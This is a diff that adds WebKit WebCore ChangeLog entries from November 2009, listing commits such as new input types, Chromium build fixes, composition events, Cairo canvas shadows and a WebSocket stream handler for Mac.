+2009-11-14  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        - Recognizes date/datetime/datetime-local/month/time/week types of INPUT element.
+          They have no dedicated UI and no type validation for now.
+        - Clean up setInputType() and formControlType() of HTMLInputElement.
+        https://bugs.webkit.org/show_bug.cgi?id=29004
+
+        Test: fast/forms/input-type-change3.html
+
+        * html/HTMLInputElement.cpp:
+        (WebCore::HTMLInputElement::valueMissing):
+        (WebCore::HTMLInputElement::patternMismatch):
+        (WebCore::HTMLInputElement::tooLong):
+        (WebCore::createTypeMap):
+        (WebCore::HTMLInputElement::setInputType):
+        (WebCore::createFormControlTypes):
+        (WebCore::HTMLInputElement::formControlType):
+        (WebCore::HTMLInputElement::saveFormControlState):
+        (WebCore::HTMLInputElement::restoreFormControlState):
+        (WebCore::HTMLInputElement::accessKeyAction):
+        (WebCore::HTMLInputElement::rendererIsNeeded):
+        (WebCore::HTMLInputElement::createRenderer):
+        (WebCore::HTMLInputElement::appendFormData):
+        (WebCore::HTMLInputElement::isTextField):
+        (WebCore::HTMLInputElement::valueWithDefault):
+        (WebCore::HTMLInputElement::storesValueSeparateFromAttribute):
+        (WebCore::HTMLInputElement::defaultEventHandler):
+        (WebCore::HTMLInputElement::isRequiredFormControl):
+        (WebCore::HTMLInputElement::dataList):
+        * html/HTMLInputElement.h:
+        (WebCore::HTMLInputElement::):
+
+2009-11-13  Chris Fleizach  <cfleizach@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WAI-ARIA: checkbox does not determine its label from text content
+        https://bugs.webkit.org/show_bug.cgi?id=31456
+
+        Test: accessibility/aria-checkbox-text.html
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::title):
+
+2009-11-13  Dimitri Glazkov  <dglazkov@chromium.org>
+
+        Unreviewed, build fix.
+
+        [Chromium] Fix build to catch up with http://trac.webkit.org/changeset/50973.
+        This is just enough changes to unbreak the port.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::mainThreadNormalWorld):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::initContextIfNeeded):
+        * loader/FrameLoaderClient.h:
+
+2009-11-13  Aaron Boodman  <aa@chromium.org>
+
+        Unreviewed fix for Chromium build.
+
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::dispatchDidClearWindowObjectInWorld):
+        Provide an empty implementation of this method because I don't know
+        what it is supposed to do on Chromium.
+
+2009-11-13  Aaron Boodman  <aa@chromium.org>
+
+        Unreviewed fix for Chromium build.
+
+        * loader/FrameLoader.h: Make dispatchDidClearWindowObjectsInAllWorlds()
+        public, as Chromium's V8Proxy calls it.
+
+2009-11-13  Aaron Boodman  <aa@chromium.org>
+
+        Unreviewed fix to Chromium build.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::getAllWorlds): 
+
+2009-11-13  Aaron Boodman  <aa@chromium.org>
+
+        Unreviewed fix for Chromium build.
+
+        * platform/text/TextBoundaries.cpp: Use longer path to refer to Unicode.h.
+
+2009-11-13  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed partial build fix for Chromium.  Should fix failure #4.
+
+        * bindings/v8/ScriptController.cpp:
+        (WebCore::ScriptController::getAllWorlds):
+        * bindings/v8/ScriptController.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::initContextIfNeeded):
+
+2009-11-13  Adam Barth  <abarth@webkit.org>
+
+        Unreviewed partial build fix for Chromium.
+
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::getAllWorlds):
+
+2009-11-13  Eric Seidel  <eric@webkit.org>
+
+        No review, build fix only.
+
+        Fix Windows and Chromium builds after http://trac.webkit.org/changeset/50977.
+
+        Unify TextBoundaries implementations by only relying on WTF Unicode abstractions
+        https://bugs.webkit.org/show_bug.cgi?id=31468
+
+        * WebCore.gypi: Rename TextBoundariesICU -> TextBoundaries
+        * WebCore.vcproj/WebCore.vcproj: Rename TextBoundariesICU -> TextBoundaries
+
+2009-11-12  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        LocalStorage quota should include key sizes in its count
+        https://bugs.webkit.org/show_bug.cgi?id=31451
+
+        * storage/StorageMap.cpp:
+        (WebCore::StorageMap::setItem):
+            Count keys in the quota when adding a new item.
+        (WebCore::StorageMap::removeItem):
+            Remove the key's length from the quota if we're removing the item.
+        (WebCore::StorageMap::importItem):
+            Assume that we're adding things for the first time.
+            Count keys in the quota.
+
+2009-11-13  Dominik Röttsches  <dominik.roettsches@access-company.com>
+
+        Reviewed by Eric Seidel.
+
+        Unify TextBoundaries implementations by only relying on WTF Unicode abstractions
+        https://bugs.webkit.org/show_bug.cgi?id=31468
+
+        Moving TextBoundariesICU.cpp to TextBoundaries.cpp
+        by removing the direct ICU dependency and replacing it
+        with WTF functions and WebCore's own TextBreakIterator
+        abstractions.
+
+        * GNUmakefile.am:
+        * platform/graphics/gtk/SimpleFontDataGtk.cpp:
+        * platform/text/TextBoundaries.cpp: Added.
+        (WebCore::findNextWordFromIndex):
+        (WebCore::findWordBoundary):
+        * platform/text/TextBoundariesICU.cpp: Removed.
+        * platform/text/TextBreakIterator.h:
+        * platform/text/TextBreakIteratorICU.cpp:
+        (WebCore::textBreakLast):
+        (WebCore::textBreakPrevious):
+
+2009-11-13  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        WebCore::externalRepresentation should update layout before getting render object
+        https://bugs.webkit.org/show_bug.cgi?id=31459
+
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::externalRepresentation):
+
+2009-11-13  Adam Roben  <aroben@apple.com>
+
+        Tell FrameLoaderClient when window objects in isolated worlds are
+        cleared
+
+        Fixes <http://webkit.org/b/31124> Tell the WebFrameLoadDelegate when
+        window objects in isolated worlds are cleared
+
+        Test: http/tests/security/isolatedWorld/didClearWindowObject.html
+
+        Reviewed by Dave Hyatt.
+
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::WebCoreJSClientData::getAllWorlds): Added. Copies all the
+        worlds in m_worldSet to the passed-in Vector.
+
+        * bindings/js/ScriptController.cpp:
+        (WebCore::ScriptController::getAllWorlds): Added. Calls through to
+        WebCoreJSClientData.
+        (WebCore::ScriptController::initScript): Changed to call
+        FrameLoader::dispatchDidClearWindowObjectInWorld.
+
+        * bindings/js/ScriptController.h: Added getAllWorlds.
+
+        * loader/EmptyClients.h:
+        (WebCore::EmptyFrameLoaderClient::dispatchDidClearWindowObjectInWorld):
+        Updated for FrameLoaderClient change.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::receivedFirstData):
+        (WebCore::FrameLoader::begin):
+        Changed to call dispatchDidClearWindowObjectsInAllWorlds.
+
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectsInAllWorlds):
+        Added. Retrieves all the worlds, then calls through to
+        dispatchDidClearWindowObjectInWorld for each one.
+        (WebCore::FrameLoader::dispatchDidClearWindowObjectInWorld): Replaces
+        dispatchWindowObjectAvailable. Calls up to the client, then, if the
+        world is the mainThreadNormalWorld(), tells the Inspector about it,
+        too.
+
+        * loader/FrameLoader.h: Replaced dispatchWindowObjectAvailable with
+        dispatchDidClearWindowObjectInWorld. Added
+        dispatchDidClearWindowObjectsInAllWorlds.
+
+        * loader/FrameLoaderClient.h: Replaced windowObjectCleared with
+        dispatchDidClearWindowObjectForWorld.
+
+2009-11-13  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Fix SVG context assignment for pod types.
+        https://bugs.webkit.org/show_bug.cgi?id=31497
+
+        I broke this in r50958.
+
+        Tested by svg/custom/viewport-update2.svg.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+
+2009-11-13  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Dmitry Titov.
+
+        Bring the platform/android files inline with Android 2.0
+        https://bugs.webkit.org/show_bug.cgi?id=31423
+
+        No new tests required: these are all Android-specific files.
+
+        * platform/android/ClipboardAndroid.cpp:
+        (WebCore::ClipboardAndroid::files):
+        * platform/android/ClipboardAndroid.h:
+        * platform/android/FileChooserAndroid.cpp:
+        (WebCore::FileChooser::basenameForWidth):
+        (WebCore::fileButtonChooseFileLabel):
+        * platform/android/KeyEventAndroid.cpp:
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        * platform/android/LocalizedStringsAndroid.cpp:
+        (WebCore::contextMenuItemTagOpenLinkInNewWindow):
+        (WebCore::contextMenuItemTagDownloadLinkToDisk):
+        (WebCore::contextMenuItemTagCopyLinkToClipboard):
+        (WebCore::contextMenuItemTagOpenImageInNewWindow):
+        (WebCore::contextMenuItemTagDownloadImageToDisk):
+        (WebCore::contextMenuItemTagCopyImageToClipboard):
+        (WebCore::contextMenuItemTagOpenFrameInNewWindow):
+        (WebCore::contextMenuItemTagCopy):
+        (WebCore::contextMenuItemTagGoBack):
+        (WebCore::contextMenuItemTagGoForward):
+        (WebCore::contextMenuItemTagStop):
+        (WebCore::contextMenuItemTagReload):
+        (WebCore::contextMenuItemTagCut):
+        (WebCore::contextMenuItemTagPaste):
+        (WebCore::contextMenuItemTagNoGuessesFound):
+        (WebCore::contextMenuItemTagIgnoreSpelling):
+        (WebCore::contextMenuItemTagLearnSpelling):
+        (WebCore::contextMenuItemTagSearchWeb):
+        (WebCore::contextMenuItemTagLookUpInDictionary):
+        (WebCore::contextMenuItemTagOpenLink):
+        (WebCore::contextMenuItemTagIgnoreGrammar):
+        (WebCore::contextMenuItemTagSpellingMenu):
+        (WebCore::contextMenuItemTagShowSpellingPanel):
+        (WebCore::contextMenuItemTagCheckSpelling):
+        (WebCore::contextMenuItemTagCheckSpellingWhileTyping):
+        (WebCore::contextMenuItemTagCheckGrammarWithSpelling):
+        (WebCore::contextMenuItemTagFontMenu):
+        (WebCore::contextMenuItemTagBold):
+        (WebCore::contextMenuItemTagItalic):
+        (WebCore::contextMenuItemTagUnderline):
+        (WebCore::contextMenuItemTagOutline):
+        (WebCore::contextMenuItemTagWritingDirectionMenu):
+        (WebCore::contextMenuItemTagTextDirectionMenu):
+        (WebCore::contextMenuItemTagDefaultDirection):
+        (WebCore::contextMenuItemTagLeftToRight):
+        (WebCore::contextMenuItemTagRightToLeft):
+        (WebCore::mediaElementLoadingStateText):
+        (WebCore::mediaElementLiveBroadcastStateText):
+        (WebCore::searchableIndexIntroduction):
+        (WebCore::resetButtonDefaultLabel):
+        (WebCore::submitButtonDefaultLabel):
+        (WebCore::inputElementAltText):
+        * platform/android/RenderThemeAndroid.cpp:
+        (WebCore::RenderTheme::themeForPage):
+        (WebCore::RenderThemeAndroid::baselinePosition):
+        (WebCore::RenderThemeAndroid::paintButton):
+        (WebCore::adjustMenuListStyleCommon):
+        (WebCore::RenderThemeAndroid::paintCombo):
+        * platform/android/ScreenAndroid.cpp:
+        * platform/android/ScrollViewAndroid.cpp:
+        (WebCore::ScrollView::platformOffscreenContentRectangle):
+        * platform/android/TemporaryLinkStubs.cpp:
+        (JSC::Bindings::dispatchJNICall):
+        * platform/android/WidgetAndroid.cpp:
+        (WebCore::Widget::setFrameRect):
+
+2009-11-13  Norbert Leser  <norbert.leser&nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Added macros for USERINCLUDE paths within symbian blocks
+        to guarantee inclusion of respective header files from local path
+        first (to avoid clashes with same names of header files in system include path).
+
+        * WebCore.pro:
+
+2009-11-13  Hironori Bono  <hbono@chromium.org>
+
+        Reviewed by Oliver Hunt.
+
+        Implement composition events introduced in DOM Level 3.
+        This change adds a new IDL which defines the composition events, adds a class which
+        implements the composition events, and sends the composition events according to
+        the specification.
+        https://bugs.webkit.org/show_bug.cgi?id=26310
+
+        Test: fast/events/ime-composition-events-001.html
+
+        * DerivedSources.make: Added CompositionEvent so we can compile "CompositionEvent.idl".
+        * GNUmakefile.am: Added "CompositionEvent.{cpp,h,idl}".
+        * WebCore.gypi: ditto.
+        * WebCore.pro: ditto
+        * WebCore.vcproj/WebCore.vcproj: ditto.
+        * WebCore.xcodeproj/project.pbxproj: Added "CompositionEvent.{cpp,h,idl}" and "JSCompositionEvent.{cpp,h}".
+        * WebCoreSources.bkl: Added "JSCompositionEvent.{cpp,h}".
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS): Call isCompositionEvent() to create the CompositionEvent wrapper.
+        * bindings/v8/DOMObjectsInclude.h: Added "JSCompositionEvent.h".
+        * bindings/v8/DerivedSourcesAllInOne.cpp: Added "JSCompositionEvent.cpp".
+        * bindings/v8/V8DOMWrapper.cpp: Call isCompositionEvent() to identify an event as a CompositionEvent.
+        (WebCore::V8DOMWrapper::convertEventToV8Object):
+        * bindings/v8/V8Index.cpp: Added "V8CompositionEvent.h".
+        * bindings/v8/V8Index.h: Added V8Index::COMPOSITIONEVENT.
+        * dom/CompositionEvent.cpp: Implements the CompositionEvent class.
+        (WebCore::CompositionEvent::CompositionEvent):
+        (WebCore::CompositionEvent::~CompositionEvent):
+        (WebCore::CompositionEvent::initCompositionEvent):
+        (WebCore::CompositionEvent::isCompositionEvent):
+        * dom/CompositionEvent.h: Declares the CompositionEvent class.
+        (WebCore::CompositionEvent::create):
+        (WebCore::CompositionEvent::data):
+        * dom/CompositionEvent.idl: Added the IDL of DOM CompositionEvent.
+        * dom/Event.cpp:
+        (WebCore::Event::isCompositionEvent): Added a method to identify an event is a CompositionEvent.
+        * dom/Event.h:
+        * dom/EventNames.h: Added composition{start,update,end} to eventNames.
+        * editing/Editor.cpp:
+        (WebCore::Editor::confirmComposition): Sent a CompositionEnd event.
+        (WebCore::Editor::setComposition): Sent a Composition{Start,Update,End} event.
+
+2009-11-13  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Fix a link error in unofficial GCC 4.4 builds on Linux.
+        https://bugs.webkit.org/show_bug.cgi?id=31477
+
+        * bindings/v8/V8Binding.cpp:  Add explicit instantiations of v8StringToWebCoreString template.
+
+2009-11-13  Eric Seidel  <eric@webkit.org>
+
+        No review, build fix only.
+
+        Fix Debug build after http://trac.webkit.org/changeset/50960.
+
+        The CounterNode class does not support all methods necessary to efficiently update the counter tree as needed per CSS2.1
+        https://bugs.webkit.org/show_bug.cgi?id=31213
+
+        * rendering/CounterNode.cpp:
+        (WebCore::showTreeAndMark):
+        * rendering/RenderCounter.cpp:
+        (WebCore::destroyCounterNodeChildren):
+
+2009-11-13  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [CAIRO] shadow support for Canvas and SVG
+        [https://bugs.webkit.org/show_bug.cgi?id=30960]
+
+        We currently fill a path with solid color instead of filling
+        a clipping path. This causes problems on some composite operators,
+        since Cairo modifies the area outside the path.
+        This fixes the behavior of WebKitGtk on fast/canvas/canvas-composite-alpha.html
+
+        Thanks to Benjamin Otte for tracking the bug down.
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::setPlatformFill):
+
+2009-11-12  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adding Chromium's DatabaseTracker implementation.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31440
+
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.gypi:
+        * storage/DatabaseTracker.h:
+        * storage/chromium/DatabaseTrackerChromium.cpp:
+        (WebCore::DatabaseTracker::fullPathForDatabase):
+        (WebCore::DatabaseTracker::getMaxSizeForDatabase):
+        * storage/chromium/QuotaTracker.cpp:
+        (WebCore::QuotaTracker::updateDatabaseSize):
+        * storage/chromium/QuotaTracker.h:
+
+2009-11-13  Carol Szabo  <carol.szabo@nokia.com>
+
+        Reviewed by Darin Adler.
+
+        The CounterNode class is missing some basic tree navigation methods common in other WebKit trees such as the rendering tree
+        https://bugs.webkit.org/show_bug.cgi?id=31213
+        Added tree navigation methods that permit full implementation of CSS2.1
+        counter feature without using recursion proportional to the counter
+        tree depth.
+        No new tests because I did not find any bug that is fixed by this
+        commit yet, this just reduces the size of the patch for 11031 and
+        helps respond to some concerns regarding that patch.
+
+        * rendering/CounterNode.cpp:
+        (WebCore::CounterNode::CounterNode):
+
+        (WebCore::CounterNode::nextInPreOrderAfterChildren):
+        (WebCore::CounterNode::nextInPreOrder):
+        Added to support non-recursive tree traversal necessary for
+        efficient full implementation of CSS2.1 counters.
+
+        (WebCore::CounterNode::lastDescendant):
+        (WebCore::CounterNode::previousInPreOrder):
+        Moved this methods such that they occupy a place similar to that of
+        identically named methods on the render tree. This allows for their
+        broader use needed in full implementation of CSS2.1 counters.
+
+        (WebCore::CounterNode::resetRenderer):
+        (WebCore::CounterNode::resetRenderers):
+        (WebCore::CounterNode::recount):
+        (WebCore::CounterNode::insertAfter):
+        (WebCore::CounterNode::removeChild):
+        Changed such that insertion/removal of a counter, triggers not only
+        recalculation of PrefixWidths, but also reassesment of values in
+        counter nodes. This is the basis full implementation of CSS2.1
+        counters. It does not change current behavior by much because of
+        changes needed to the recalculation algorithm, but those are comming
+        in the patch for 11031.
+        (WebCore::showTreeAndMark):
+        * rendering/CounterNode.h:
+        * rendering/RenderCounter.cpp:
+        (WebCore::counter):
+        Only changed argument type to prepare for implementation of Darin
+        Adler's recommendation for the patch to 11031.
+
+        (WebCore::RenderCounter::invalidate):
+        (WebCore::destroyCounterNodeChildren):
+        (WebCore::RenderCounter::destroyCounterNodes):
+        * rendering/RenderCounter.h:
+        * rendering/RenderObjectChildList.cpp:
+        (WebCore::invalidateCountersInContainer):
+        (WebCore::RenderObjectChildList::invalidateCounters):
+        * rendering/RenderObjectChildList.h:
+        Added the ability to restrict invalidation to counters with a given
+        identifier.
+        Also invalidated counters that are on the child container itself
+        which were missed by the previous algorithm, but were a valid case.
+
+2009-11-13  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Protect SVG animated properties from destruction in bindings.
+        https://bugs.webkit.org/show_bug.cgi?id=31474
+
+        See http://crbug.com/26719.
+
+        Tested by LayoutTests/svg/custom/js-update-transform-addition.svg
+        under Valgrind.
+
+        Made sure we keep a reference to SVG properties while setting a
+        context:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::withSVGContext):
+
+2009-11-13  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        [CAIRO] shadow support for Canvas and SVG.
+        [https://bugs.webkit.org/show_bug.cgi?id=30960]
+
+        Incorporate Benjamin Otte's recommendations to avoid
+        a buffer overrun, and small performance improvement.
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::copyContextProperties): Correctly size output
+         storage for cairo_get_dash to avoid buffer overrun.
+        (WebCore::drawPathShadow): Prefer cairo_fill_extents
+         to slower cairo_stroke_extents when not drawing shadows.
+
+2009-11-13  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Do not register Chromium's HTML5 DB VFS as the default
+        VFS. Otherwise, other sqlite DB users in the same process will
+        stop working.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31462
+
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        * platform/sql/chromium/SQLiteFileSystemChromiumPosix.cpp:
+        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp:
+        (WebCore::SQLiteFileSystem::registerSQLiteVFS):
+
+2009-11-13  Alexey Proskuryakov  <ap@apple.com>
+
+        Windows build fix
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::SocketStreamHandle): Explicitly cast "-1" to CFOptionFlags,
+        avoiding a sign mismatch warning.
+
+2009-11-13  Alexey Proskuryakov  <ap@apple.com>
+
+        Release build fix.
+
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::readStreamCallback):
+        (WebCore::SocketStreamHandle::writeStreamCallback):
+        Use ASSERT_UNUSED for unused stream parameter.
+
+2009-11-12  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31441
+        Implement SocketStreamHandleCFNet
+
+        Existing WebSocket tests now pass on Mac. No proxy support yet.
+
+        * platform/network/SocketStreamHandleClient.h:
+        * platform/network/cf/SocketStreamHandle.h:
+        (WebCore::SocketStreamHandle::shouldUseSSL):
+        (WebCore::SocketStreamHandle::refAuthenticationClient):
+        (WebCore::SocketStreamHandle::derefAuthenticationClient):
+        (WebCore::SocketStreamHandle::):
+        * platform/network/cf/SocketStreamHandleCFNet.cpp:
+        (WebCore::SocketStreamHandle::SocketStreamHandle):
+        (WebCore::SocketStreamHandle::chooseProxy):
+        (WebCore::SocketStreamHandle::createStreams):
+        (WebCore::SocketStreamHandle::copyCFStreamDescription):
+        (WebCore::SocketStreamHandle::readStreamCallback):
+        (WebCore::SocketStreamHandle::writeStreamCallback):
+        (WebCore::SocketStreamHandle::~SocketStreamHandle):
+        (WebCore::SocketStreamHandle::platformSend):
+        (WebCore::SocketStreamHandle::platformClose):
+        (WebCore::SocketStreamHandle::receivedCredential):
+        (WebCore::SocketStreamHandle::receivedRequestToContinueWithoutCredential):
+        (WebCore::SocketStreamHandle::receivedCancellation):
+
+2009-11-12  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: preload status bar button glyphs
+        in order to prevent them from flickering (take 2).
+
+        https://bugs.webkit.org/show_bug.cgi?id=31439
+
+        * inspector/front-end/inspector.js:
+        (preloadImages):
+
+2009-11-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Chromium: [REGRESSION] Crash while stopping on a breakpoint.
+        Rolling back r50890.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31467
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::canAccessPrivate):
+
+2009-11-13  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [CAIRO] shadow support for Canvas and SVG
+        [https://bugs.webkit.org/show_bug.cgi?id=30960]
+        
+        This is the fix of a regression, caused by the shadow patch
+        from the bug above. Reinserted the save and restore calls
+        that were accidently removed by the previous patch.
+
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::setPlatformFill):
+        (WebCore::setPlatformStroke):
+
+2009-11-13  Pavel Feldman  <pfeldman@chromium.org>
+
+        Not reviewed. Reverting r50908 since it makes inspector tests
+        time out.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31439
+
+        * inspector/front-end/inspector.js:
+
+2009-11-13  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Enable 'console.profile()' and 'console.profileEnd()'
+        regardless of JAVASCRIPT_DEBUGGER.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31293
+
+        * WebCore.gypi:
+        * bindings/js/JSConsoleCustom.cpp:
+        (WebCore::JSConsole::profile):
+        (WebCore::JSConsole::profileEnd):
+        * bindings/v8/custom/V8ConsoleCustom.cpp: Added.
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8CustomBinding.h:
+        * page/Console.idl:
+
+2009-11-12  David Levin  <levin@chromium.org>
+
+        Reviewed by NOBODY.
+
+        Chromium build fix.
+
+        * bindings/v8/ScriptController.h:
+        (WebCore::ScriptController::evaluateInWorld): Add a dummy
+         method which isn't called in chromium to make things compile.
+
+2009-11-12  Anantanarayanan G Iyengar  <ananta@chromium.org>
+
+        Reviewed by Adam Barth.
+        
+        The document-open.html test was flaky at times. The test invokes the layout test plugin
+        which in its destroy stream handler opens a new document. This basically tears down the
+        stream and the associated plugin instance, which causes a crash when the plugin stream
+        dereferences an invalid m_client pointer which points to the PluginView instance which
+        is invalid at this time. Fix is to set the m_client pointer to NULL in the stop function
+        and check for the same.
+       
+        https://bugs.webkit.org/show_bug.cgi?id=31067
+
+        * plugins/PluginStream.cpp:
+        (WebCore::PluginStream::stop):
+        (WebCore::PluginStream::destroyStream):
+
+2009-11-12  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Renaming some parameters passed to DB-related methods to better
+        indicate their purpose.
+
+        https://bugs.webkit.org/show_bug.cgi?id=31449
+
+        * platform/chromium/ChromiumBridge.h:
+
+2009-11-12  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Transformed reflected elements are clipped inside element with opacity
+        https://bugs.webkit.org/show_bug.cgi?id=30957
+        
+        transparencyClipBox() attemped to minimize the size of the transparency layer by mapping
+        each clip rect into painting space before taking the unions. This, however, did not work
+        correctly with combinations of reflections and transforms. Fixed by unioning the
+        clipRect and mapping through transforms along the way.
+        
+        Also leave some #ifdeffed code in beginTransparencyLayers() that makes it easy to see
+        where the transparency layers are.
+
+        Test: fast/reflections/opacity-reflection-transform.html
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::expandClipRectForDescendantsAndReflection):
+        (WebCore::transparencyClipBox):
+        (WebCore::RenderLayer::beginTransparencyLayers):
+
+2009-11-12  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Fisher.
+
+        Improve SecurityOrigin::toString comment
+        https://bugs.webkit.org/show_bug.cgi?id=31041
+
+        * page/SecurityOrigin.h:
+
+2009-11-12  Shinichiro Hamaji  <hamaji@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        externalRepresentation should take Frame as the argument
+        https://bugs.webkit.org/show_bug.cgi?id=31393
+
+        No new tests as this is just a refactoring.
+
+        * WebCore.base.exp:
+        * rendering/RenderTreeAsText.cpp:
+        (WebCore::externalRepresentation):
+        * rendering/RenderTreeAsText.h:
+
+2009-11-12  Ben Murdoch  <benm@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [Android] The Android specific files in page/Android are out of date.
+        https://bugs.webkit.org/show_bug.cgi?id=31437
+
+        No tests required.
+
+        * page/android/DragControllerAndroid.cpp:
+        (WebCore::DragController::dragOperation): Added.
+        (WebCore::DragController::cleanupAfterSystemDrag):
+        * page/android/EventHandlerAndroid.cpp:
+        (WebCore::EventHandler::accessKeyModifiers): Added.
+        * page/android/InspectorControllerAndroid.cpp: Removed.
+
+2009-11-12  Brent Fulgham  <bfulgham@webkit.org>
+
+        Reviewed by Simon Fraser.
+
+        [CAIRO] shadow support for Canvas and SVG.
+        [https://bugs.webkit.org/show_bug.cgi?id=30960]
+
+        Implement Canvas/SVG shadow support for Cairo.  This patch
+        uses the filter code from SVG Filters.  That means that it is
+        necessary to activate filters to see the shadows.
+
+        Test: fast/canvas/canvas-shadow.html
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj: Add new ImageBufferFilter files.
+        * platform/graphics/GraphicsContext.h:
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (GraphicsContext::calculateShadowBufferDimensions): New helper routine.
+        (WebCore::setPlatformFill):
+        (WebCore::setPlatformStroke):
+        (WebCore::copyContextProperties):
+        (WebCore::drawPathShadow):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::drawPath):
+        (WebCore::GraphicsContext::setPlatformShadow):
+        (WebCore::GraphicsContext::createPlatformShadow):
+        * platform/graphics/cairo/ImageCairo.cpp:
+        (WebCore::BitmapImage::draw): Add filter effect.
+        * platform/graphics/filters/Filter.h: Correct 'const' signatures.
+        * platform/graphics/filters/ImageBufferFilter.cpp: Added.
+        * platform/graphics/filters/ImageBufferFilter.h: Added.
+        * svg/graphics/filters/SVGFilter.cpp: Correct 'const' signatures.
+        * svg/graphics/filters/SVGFilter.h: Correct 'const' signatures.
+
+2009-11-12  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Add postTaskToMainThread to ScriptExecutionContext.
+        Move the code to post task to the main thread into a new method on ScriptExecutionContext,
+        to use as a helper implementation of the virtual ScriptExecutionContext::postTask(Task) in
+        contexts that live on the main thread.
+        https://bugs.webkit.org/show_bug.cgi?id=31427
+
+        No new tests - simply moving the code.
+
+        * dom/Document.cpp:
+        (WebCore::Document::postTask):
+        * dom/ScriptExecutionContext.cpp:
+        (WebCore::ScriptExecutionContextTaskTimer::ScriptExecutionContextTaskTimer):
+        (WebCore::ScriptExecutionContextTaskTimer::fired):
+        (WebCore::PerformTaskData::PerformTaskData):
+        (WebCore::PerformTaskData::performTask):
+        (WebCore::ScriptExecutionContext::postTaskToMainThread):
+        * dom/ScriptExecutionContext.h:
+
+2009-11-12  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Fix crash when removing compositing layers when GC is enabled
+        https://bugs.webkit.org/show_bug.cgi?id=31429
+
+        Workaround <rdar://problem/7390716> by special-casing the removal
+        of all sublayers when GC is enabled.
+
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::safeSetSublayers):
+        (WebCore::GraphicsLayerCA::updateSublayerList):
+        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
+
+2009-11-12  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        The last of the V8 binding optimizations.
+        - Replace string-valued element accessors with a shared getter/setter function.
+        - Change error handling flow of control to avoid extra branches and function calls.
+        https://bugs.webkit.org/show_bug.cgi?id=31443
+        
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8Binding.cpp:
